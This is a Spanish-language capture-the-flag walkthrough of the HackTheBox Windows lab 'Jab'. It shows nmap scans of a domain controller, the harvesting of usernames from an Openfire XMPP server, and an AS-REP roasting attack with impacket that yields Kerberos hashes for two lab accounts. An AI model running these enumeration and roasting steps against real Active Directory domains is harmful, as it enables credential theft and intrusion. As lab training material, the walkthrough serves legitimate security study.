Jab es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Jab 10.10.11.4 a /etc/hosts como jab.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.10.11.4 Nmap scan report for 10.10.11.4 Host is up, received reset ttl 127 (0.037s latency). Scanned at 2024-03-01 07:18:41 GMT for 14s Not shown: 64960 closed tcp ports (reset), 540 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 53/tcp open domain syn-ack ttl 127 88/tcp open kerberos-sec syn-ack ttl 127 135/tcp open msrpc syn-ack ttl 127 139/tcp open netbios-ssn syn-ack ttl 127 389/tcp open ldap syn-ack ttl 127 445/tcp open microsoft-ds syn-ack ttl 127 464/tcp open kpasswd5 syn-ack ttl 127 593/tcp open http-rpc-epmap syn-ack ttl 127 636/tcp open ldapssl syn-ack ttl 127 3268/tcp open globalcatLDAP syn-ack ttl 127 3269/tcp open globalcatLDAPssl syn-ack ttl 127 5222/tcp open xmpp-client syn-ack ttl 127 5223/tcp open hpvirtgrp syn-ack ttl 127 5262/tcp open unknown syn-ack ttl 127 5263/tcp open unknown syn-ack ttl 127 5269/tcp open xmpp-server syn-ack ttl 127 5270/tcp open xmp syn-ack ttl 127 5275/tcp open unknown syn-ack ttl 127 5276/tcp open unknown syn-ack ttl 127 5985/tcp open wsman syn-ack ttl 127 7070/tcp open realserver syn-ack ttl 127 7443/tcp open oracleas-https syn-ack ttl 127 7777/tcp open cbt syn-ack ttl 127 9389/tcp open adws syn-ack ttl 127 47001/tcp open winrm syn-ack ttl 127 49664/tcp open unknown syn-ack ttl 127 49665/tcp open unknown syn-ack ttl 127 49666/tcp open unknown syn-ack ttl 127 49667/tcp open unknown syn-ack ttl 127 49669/tcp open unknown syn-ack ttl 127 49670/tcp open unknown syn-ack ttl 127 49671/tcp open unknown syn-ack ttl 127 49672/tcp open unknown syn-ack ttl 127 49677/tcp open unknown syn-ack ttl 127 49769/tcp open unknown syn-ack ttl 127 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Mar 1 07:18:55 2024 -- 1 IP address (1 host up) scanned in 14.80 seconds |
Una vez detectados los puertos abiertos, vamos a analizar más detenidamente los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 |
nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5222,5223,5262,5263,5269,5270,5275,5276,5985,7070,7443,7777,9389,47001,49664,49665,49666,49667,49669,49670,49671,49672,49677,49769 -oA enumeration/nmap2 10.10.11.4 Nmap scan report for 10.10.11.4 Host is up (0.038s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-01 07:19:15Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-01T07:20:33+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=DC01.jab.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb | Not valid before: 2023-11-01T20:16:18 |_Not valid after: 2024-10-31T20:16:18 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.jab.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb | Not valid before: 2023-11-01T20:16:18 |_Not valid after: 2024-10-31T20:16:18 |_ssl-date: 2024-03-01T07:20:32+00:00; 0s from scanner time. 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-01T07:20:33+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=DC01.jab.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb | Not valid before: 2023-11-01T20:16:18 |_Not valid after: 2024-10-31T20:16:18 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb0., Site: Default-First-Site-Name) |_ssl-date: 2024-03-01T07:20:32+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC01.jab.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.jab.htb | Not valid before: 2023-11-01T20:16:18 |_Not valid after: 2024-10-31T20:16:18 5222/tcp open jabber |_ssl-date: TLS randomness does not represent time | fingerprint-strings: | RPCCheck: |_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream> | ssl-cert: Subject: commonName=dc01.jab.htb | Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb | Not valid before: 2023-10-26T22:00:12 |_Not valid after: 2028-10-24T22:00:12 | xmpp-info: | STARTTLS Failed | info: | xmpp: | version: 1.0 | unknown: | stream_id: 94ml0djkks | errors: | invalid-namespace | (timeout) | compression_methods: | capabilities: | features: |_ auth_mechanisms: 5223/tcp open ssl/jabber Ignite Realtime Openfire Jabber server 3.10.0 or later | ssl-cert: Subject: commonName=dc01.jab.htb | Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb | Not valid before: 2023-10-26T22:00:12 |_Not valid after: 2028-10-24T22:00:12 |_ssl-date: TLS randomness does not represent time | xmpp-info: | STARTTLS Failed | info: | xmpp: | capabilities: | errors: | (timeout) | compression_methods: | unknown: | features: |_ auth_mechanisms: 5262/tcp open jabber | xmpp-info: | STARTTLS Failed | info: | xmpp: | version: 1.0 | unknown: | stream_id: acx1k2qbj3 | errors: | invalid-namespace | (timeout) | compression_methods: | capabilities: | features: |_ auth_mechanisms: | fingerprint-strings: | RPCCheck: |_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream> 5263/tcp open ssl/jabber Ignite Realtime Openfire Jabber server 3.10.0 or later | xmpp-info: | STARTTLS Failed | info: | xmpp: | capabilities: | errors: | (timeout) | compression_methods: | unknown: | features: |_ auth_mechanisms: | ssl-cert: Subject: commonName=dc01.jab.htb | Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb | Not valid before: 2023-10-26T22:00:12 |_Not valid after: 2028-10-24T22:00:12 |_ssl-date: TLS randomness does not represent time 5269/tcp open xmpp Wildfire XMPP Client | xmpp-info: | STARTTLS Failed | info: | xmpp: | capabilities: | errors: | (timeout) | compression_methods: | unknown: | features: |_ auth_mechanisms: 5270/tcp open ssl/xmpp Wildfire XMPP Client |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc01.jab.htb | Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb | Not valid before: 2023-10-26T22:00:12 |_Not valid after: 2028-10-24T22:00:12 5275/tcp open jabber | fingerprint-strings: | RPCCheck: |_ <stream:error xmlns:stream="http://etherx.jabber.org/streams"><not-well-formed xmlns="urn:ietf:params:xml:ns:xmpp-streams"/></stream:error></stream:stream> | xmpp-info: | STARTTLS Failed | info: | xmpp: | version: 1.0 | unknown: | stream_id: 4bmvhs5610 | errors: | invalid-namespace | (timeout) | compression_methods: | capabilities: | features: |_ auth_mechanisms: 5276/tcp open ssl/jabber Ignite Realtime Openfire Jabber server 3.10.0 or later |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc01.jab.htb | Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb | Not valid before: 2023-10-26T22:00:12 |_Not valid after: 2028-10-24T22:00:12 | xmpp-info: | STARTTLS Failed | info: | xmpp: | capabilities: | errors: | (timeout) | compression_methods: | unknown: | features: |_ auth_mechanisms: 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 7070/tcp open realserver? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP: | HTTP/1.1 400 Illegal character CNTL=0x0 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 69 | Connection: close | <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre> | GetRequest: | HTTP/1.1 200 OK | Date: Fri, 01 Mar 2024 07:19:15 GMT | Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT | Content-Type: text/html | Accept-Ranges: bytes | Content-Length: 223 | <html> | <head><title>Openfire HTTP Binding Service</title></head> | <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body> | </html> | HTTPOptions: | HTTP/1.1 200 OK | Date: Fri, 01 Mar 2024 07:19:21 GMT | Allow: GET,HEAD,POST,OPTIONS | Help: | HTTP/1.1 400 No URI | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 49 | Connection: close | <h1>Bad Message 400</h1><pre>reason: No URI</pre> | RPCCheck: | HTTP/1.1 400 Illegal character OTEXT=0x80 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 71 | Connection: close | <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre> | RTSPRequest: | HTTP/1.1 505 Unknown Version | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 58 | Connection: close | <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre> | SSLSessionReq: | HTTP/1.1 400 Illegal character CNTL=0x16 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 70 | Connection: close |_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre> 7443/tcp open ssl/oracleas-https? |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=dc01.jab.htb | Subject Alternative Name: DNS:dc01.jab.htb, DNS:*.dc01.jab.htb | Not valid before: 2023-10-26T22:00:12 |_Not valid after: 2028-10-24T22:00:12 | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP: | HTTP/1.1 400 Illegal character CNTL=0x0 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 69 | Connection: close | <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x0</pre> | GetRequest: | HTTP/1.1 200 OK | Date: Fri, 01 Mar 2024 07:19:27 GMT | Last-Modified: Wed, 16 Feb 2022 15:55:02 GMT | Content-Type: text/html | Accept-Ranges: bytes | Content-Length: 223 | <html> | <head><title>Openfire HTTP Binding Service</title></head> | <body><font face="Arial, Helvetica"><b>Openfire <a href="http://www.xmpp.org/extensions/xep-0124.html">HTTP Binding</a> Service</b></font></body> | </html> | HTTPOptions: | HTTP/1.1 200 OK | Date: Fri, 01 Mar 2024 07:19:33 GMT | Allow: GET,HEAD,POST,OPTIONS | Help: | HTTP/1.1 400 No URI | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 49 | Connection: close | <h1>Bad Message 400</h1><pre>reason: No URI</pre> | RPCCheck: | HTTP/1.1 400 Illegal character OTEXT=0x80 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 71 | Connection: close | <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre> | RTSPRequest: | HTTP/1.1 505 Unknown Version | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 58 | Connection: close | <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre> | SSLSessionReq: | HTTP/1.1 400 Illegal character CNTL=0x16 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 70 | Connection: close |_ <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x16</pre> 7777/tcp open socks5 (No authentication; connection failed) | socks-auth-info: |_ No authentication 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49671/tcp open msrpc Microsoft Windows RPC 49672/tcp open msrpc Microsoft Windows RPC 49677/tcp open msrpc Microsoft Windows RPC 49769/tcp open msrpc Microsoft Windows RPC 5 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port5222-TCP:V=7.94%I=7%D=3/1%Time=65E18186%P=x86_64-pc-linux-gnu%r(RPC SF:Check,9B,"<stream:error\x20xmlns:stream=\"http://etherx\.jabber\.org/st SF:reams\"><not-well-formed\x20xmlns=\"urn:ietf:params:xml:ns:xmpp-streams SF:\"/></stream:error></stream:stream>"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port5262-TCP:V=7.94%I=7%D=3/1%Time=65E18186%P=x86_64-pc-linux-gnu%r(RPC SF:Check,9B,"<stream:error\x20xmlns:stream=\"http://etherx\.jabber\.org/st SF:reams\"><not-well-formed\x20xmlns=\"urn:ietf:params:xml:ns:xmpp-streams SF:\"/></stream:error></stream:stream>"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port5275-TCP:V=7.94%I=7%D=3/1%Time=65E18186%P=x86_64-pc-linux-gnu%r(RPC SF:Check,9B,"<stream:error\x20xmlns:stream=\"http://etherx\.jabber\.org/st SF:reams\"><not-well-formed\x20xmlns=\"urn:ietf:params:xml:ns:xmpp-streams SF:\"/></stream:error></stream:stream>"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port7070-TCP:V=7.94%I=7%D=3/1%Time=65E18172%P=x86_64-pc-linux-gnu%r(Get SF:Request,189,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Fri,\x2001\x20Mar\x2020 SF:24\x2007:19:15\x20GMT\r\nLast-Modified:\x20Wed,\x2016\x20Feb\x202022\x2 SF:015:55:02\x20GMT\r\nContent-Type:\x20text/html\r\nAccept-Ranges:\x20byt SF:es\r\nContent-Length:\x20223\r\n\r\n<html>\n\x20\x20<head><title>Openfi SF:re\x20HTTP\x20Binding\x20Service</title></head>\n\x20\x20<body><font\x2 SF:0face=\"Arial,\x20Helvetica\"><b>Openfire\x20<a\x20href=\"http://www\.x SF:mpp\.org/extensions/xep-0124\.html\">HTTP\x20Binding</a>\x20Service</b> SF:</font></body>\n</html>\n")%r(RTSPRequest,AD,"HTTP/1\.1\x20505\x20Unkno SF:wn\x20Version\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nConte SF:nt-Length:\x2058\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x205 SF:05</h1><pre>reason:\x20Unknown\x20Version</pre>")%r(HTTPOptions,56,"HTT SF:P/1\.1\x20200\x20OK\r\nDate:\x20Fri,\x2001\x20Mar\x202024\x2007:19:21\x SF:20GMT\r\nAllow:\x20GET,HEAD,POST,OPTIONS\r\n\r\n")%r(RPCCheck,C7,"HTTP/ SF:1\.1\x20400\x20Illegal\x20character\x20OTEXT=0x80\r\nContent-Type:\x20t SF:ext/html;charset=iso-8859-1\r\nContent-Length:\x2071\r\nConnection:\x20 SF:close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20c SF:haracter\x20OTEXT=0x80</pre>")%r(DNSVersionBindReqTCP,C3,"HTTP/1\.1\x20 SF:400\x20Illegal\x20character\x20CNTL=0x0\r\nContent-Type:\x20text/html;c SF:harset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\ SF:r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x SF:20CNTL=0x0</pre>")%r(DNSStatusRequestTCP,C3,"HTTP/1\.1\x20400\x20Illega SF:l\x20character\x20CNTL=0x0\r\nContent-Type:\x20text/html;charset=iso-88 SF:59-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r\n<h1>Bad\x2 SF:0Message\x20400</h1><pre>reason:\x20Illegal\x20character\x20CNTL=0x0</p SF:re>")%r(Help,9B,"HTTP/1\.1\x20400\x20No\x20URI\r\nContent-Type:\x20text SF:/html;charset=iso-8859-1\r\nContent-Length:\x2049\r\nConnection:\x20clo SF:se\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20No\x20URI</pre> SF:")%r(SSLSessionReq,C5,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL SF:=0x16\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Lengt SF:h:\x2070\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1>< SF:pre>reason:\x20Illegal\x20character\x20CNTL=0x16</pre>"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port7443-TCP:V=7.94%T=SSL%I=7%D=3/1%Time=65E1817E%P=x86_64-pc-linux-gnu SF:%r(GetRequest,189,"HTTP/1\.1\x20200\x20OK\r\nDate:\x20Fri,\x2001\x20Mar SF:\x202024\x2007:19:27\x20GMT\r\nLast-Modified:\x20Wed,\x2016\x20Feb\x202 SF:022\x2015:55:02\x20GMT\r\nContent-Type:\x20text/html\r\nAccept-Ranges:\ SF:x20bytes\r\nContent-Length:\x20223\r\n\r\n<html>\n\x20\x20<head><title> SF:Openfire\x20HTTP\x20Binding\x20Service</title></head>\n\x20\x20<body><f SF:ont\x20face=\"Arial,\x20Helvetica\"><b>Openfire\x20<a\x20href=\"http:// SF:www\.xmpp\.org/extensions/xep-0124\.html\">HTTP\x20Binding</a>\x20Servi SF:ce</b></font></body>\n</html>\n")%r(HTTPOptions,56,"HTTP/1\.1\x20200\x2 SF:0OK\r\nDate:\x20Fri,\x2001\x20Mar\x202024\x2007:19:33\x20GMT\r\nAllow:\ SF:x20GET,HEAD,POST,OPTIONS\r\n\r\n")%r(RTSPRequest,AD,"HTTP/1\.1\x20505\x SF:20Unknown\x20Version\r\nContent-Type:\x20text/html;charset=iso-8859-1\r SF:\nContent-Length:\x2058\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Messa SF:ge\x20505</h1><pre>reason:\x20Unknown\x20Version</pre>")%r(RPCCheck,C7, SF:"HTTP/1\.1\x20400\x20Illegal\x20character\x20OTEXT=0x80\r\nContent-Type SF::\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2071\r\nConnectio SF:n:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illega SF:l\x20character\x20OTEXT=0x80</pre>")%r(DNSVersionBindReqTCP,C3,"HTTP/1\ SF:.1\x20400\x20Illegal\x20character\x20CNTL=0x0\r\nContent-Type:\x20text/ SF:html;charset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20clos SF:e\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20chara SF:cter\x20CNTL=0x0</pre>")%r(DNSStatusRequestTCP,C3,"HTTP/1\.1\x20400\x20 SF:Illegal\x20character\x20CNTL=0x0\r\nContent-Type:\x20text/html;charset= SF:iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r\n<h1> SF:Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x20CNTL= SF:0x0</pre>")%r(Help,9B,"HTTP/1\.1\x20400\x20No\x20URI\r\nContent-Type:\x SF:20text/html;charset=iso-8859-1\r\nContent-Length:\x2049\r\nConnection:\ SF:x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20No\x20URI SF:</pre>")%r(SSLSessionReq,C5,"HTTP/1\.1\x20400\x20Illegal\x20character\x SF:20CNTL=0x16\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent SF:-Length:\x2070\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400 SF:</h1><pre>reason:\x20Illegal\x20character\x20CNTL=0x16</pre>"); Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-03-01T07:20:24 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Mar 1 07:20:36 2024 -- 1 IP address (1 host up) scanned in 90.68 seconds |
Enumeración
Revisamos los puertos existentes y vemos una página web en los puertos 7070 y 7443

Vemos también el puerto 5222 que incluye un servicio de xmpp con jabber, así que conectamos con pidgin y creamos una cuenta en el servidor

Revisamos los usuarios existentes en el servidor y encontramos un listado de unos 2000 usuarios, así que generamos un diccionario con ellos

Y lanzaremos un ataque de asreproast a ver si conseguimos el hash de alguno
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
$ impacket-GetNPUsers -usersfile dicts/users.txt -format hashcat -outputfile keys/hashes.asreproast jab.htb/ Impacket v0.11.0 - Copyright 2023 Fortra [-] User lmccarty doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User nenglert doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User aslater doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User rtruelove doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User pwoodland doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User pparodi doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mhernandez doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User atorres doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User apugh doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lray doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User rowens doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mherron doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User larroyo doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User csalinas doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User plewis doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User rmangold doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User cmaxwell doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User kaddis doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User molivarez doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] User ilaboy doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User rbrown doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User aedwards doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User bcarter doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jurbina doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mberube doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jcooley doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User bgallegos doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ecoleman doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User omcintosh doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User msmall doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] User thall doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User dblakeslee doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ajoseph doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User grisch doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User dmowen doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jgadd doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jmcfarlin doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User vwinningham doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User losborne doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User dlowe doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User dweldon doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mdove doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User dgrunewald doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ahamann doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lbryant doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mnixon doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User operdue doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User rhughes doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User vshields doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mbryan doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mgermain doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ndeleon doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jhuie doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User tlindstrom doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User vjohnston doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User cclark doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ttalley doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jlawrence doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jperkins doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User wgreco doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User tlansberry doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jboykins doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User bhogan doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User emyers doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User mlondon doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ccole doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ktorres doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$mlowe@JAB.HTB:fdcab7caffd72675e26beb6137391f9f$ae8a087730c5980f4cce98ae41beefbe3772061a6cc8af84c08f9a025f0b423b8d4258cbe8af5f55841f7d617bf98ec7aef52cc64b46f9c1c1cab980d59c47be8311bbb72cf5ae49bff3958453b157c4aa53706f4ac9d985fe91f074878c06316ecce6a2cd209f31ffb7448de6cc5632fbe6f04b9ad2de1f0a0b44454d0c93273e6c1d7d3c1c622f1f41f79bff90d06b0e664befdc63631131702df81561de29d5fe75ee5e470be4d0af793562986bde40b38c777c77e1cf39b39755870430adf3268a884daf487aa520b4971c8124dd80b0a6806cb4787b036c78b314ce19c8af84 $krb5asrep$23$lbradford@JAB.HTB:33620586d193ee0b950c44a2fcfb0fc3$3b4716d42b0f494c73af8ab88ffe34fd6c1a15ba2b9a48543a67f96e5dbfcc8dbcb638a5965cf3b903e0974c3fdbeb12f65faf785ce1d3b2c5eea03f260caba2b7035cf207bfca5f7f5888760b415b1447b079074b40bf9aa46f7551115e3f64ebb35f4051592ee407a128b217036b9e00e8bc24df841e0d222df28de47e1fa9098746fe1eb0fc6431a6cf8327ff67606715c53a08eb6fafa9ebfa4c5debcd314502a5aef49411e9e842d06c3e2644b0fcdff8ece319a8629cebdfa7d325027bee91fbd7e71888da68bbae5b6a150e5e0a0c49c85993f2a58305893129523105d70d 